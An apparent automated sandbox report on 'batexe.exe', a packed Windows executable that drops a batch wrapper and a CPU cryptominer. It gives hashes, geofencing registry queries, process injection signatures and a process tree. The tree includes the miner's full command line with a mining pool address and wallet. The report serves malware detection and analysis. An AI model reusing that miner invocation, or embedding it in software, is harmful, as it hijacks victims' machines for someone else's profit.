73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
306s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
19/02/2024, 16:34

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
4100	b2e.exe
1232	cpuminer-sse2.exe

Loads dropped DLL 7 IoCs

pid	Process
1232	cpuminer-sse2.exe
1232	cpuminer-sse2.exe
1232	cpuminer-sse2.exe
1232	cpuminer-sse2.exe
1232	cpuminer-sse2.exe
1232	cpuminer-sse2.exe
1232	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1168-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1168 wrote to memory of 4100	1168	batexe.exe	84
PID 1168 wrote to memory of 4100	1168	batexe.exe	84
PID 1168 wrote to memory of 4100	1168	batexe.exe	84
PID 4100 wrote to memory of 348	4100	b2e.exe	85
PID 4100 wrote to memory of 348	4100	b2e.exe	85
PID 4100 wrote to memory of 348	4100	b2e.exe	85
PID 348 wrote to memory of 1232	348	cmd.exe	88
PID 348 wrote to memory of 1232	348	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1168
- C:\Users\Admin\AppData\Local\Temp\853D.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\853D.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\853D.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\94ED.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:348
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1232

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\853D.tmp\b2e.exe

Filesize
9.4MB

MD5
63cbb54efd5eb2a7c539c580e0ea9d4b

SHA1
273e3d8f7822925b629879ec73bad04eeda203be

SHA256
6a0ea4a883a5e5662e700f435e7dee66d9661f175b4686a7de41933df448a825

SHA512
53350fea00bff61b925605373b3b3d701b6f8d82bcaa5df86513f7f14abe4eca45270621e5ca1d66952d850443c50252935f6208a541d0c32dd23b8ed1e04f14

Download Submit
C:\Users\Admin\AppData\Local\Temp\853D.tmp\b2e.exe

Filesize
5.9MB

MD5
56ca29ce8072dcbbda857d2b4cba8913

SHA1
98de3135c54a630816b7a50f3d08f31b172f64bb

SHA256
1a6d3f01478dacae2ca304fd63f4a6c12e2f617e51990e5ebcf5402c055800f9

SHA512
7696a04cfe2ad86384c8022f18b59ab3aad4fc073efb2617f4d491b9d1bd468dfa2403ced3bedff58ae0c09b8aba258254302854a9f9298700cad5dbe0b355b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\853D.tmp\b2e.exe

Filesize
6.2MB

MD5
8483066dd5bac55821f39e8bf5cd0c28

SHA1
55293aab6259485a2dfb199e629335fc44edb17b

SHA256
5fb43253c22d73ef827a6769d6b2fdee720369d82e78be3b5d4b2b8e2bbda968

SHA512
75588d96df84f2fdff0160ffa29047d2e12b4ed3eb2b7bcef997b4276ba08f71b36c1c02acc86925d8a9dd9ff0ce8c265d5e5b7cf87752c721375a9c33d94832

Download Submit
C:\Users\Admin\AppData\Local\Temp\94ED.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.0MB

MD5
ec34f2b3d88204be0a00f41c7476e232

SHA1
923beb6d0aabd23901758a06066d0f668774089e

SHA256
582efaf482c848e8562806f2949d7732b63c3a9920176680a3a6c39b45d05150

SHA512
24e254ac0644af02c2b33bae5014efcb1cbb12541546b5670addaf6209c49ebec9c899c4bec760ff5645541101709b4b27c9406e20ba2330334ab697bac92d35

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.1MB

MD5
3b0e358d46daf4646f7bb4735a7cf0df

SHA1
96762e7afc42ce9896ea626028c3d2301a22066f

SHA256
220b8ad97ba0395d681e28109bdd3d79bef047cdf164c8208ae32d52f0fbdf84

SHA512
441977280fa74abdf0dbd2e211065f09dd80e555ae9a883d67edebf160ea5a2b9f905b0b40944d8b16b3ce9fa00541c0af617c93f2977e7e373ee3182677237e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1168-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/1232-47-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/1232-77-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1232-46-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1232-107-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1232-48-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1232-49-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/1232-50-0x0000000000930000-0x00000000009C8000-memory.dmp

Filesize
608KB

Download
memory/1232-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1232-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1232-102-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1232-62-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1232-67-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1232-72-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1232-42-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/1232-82-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1232-87-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1232-92-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1232-97-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4100-61-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4100-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download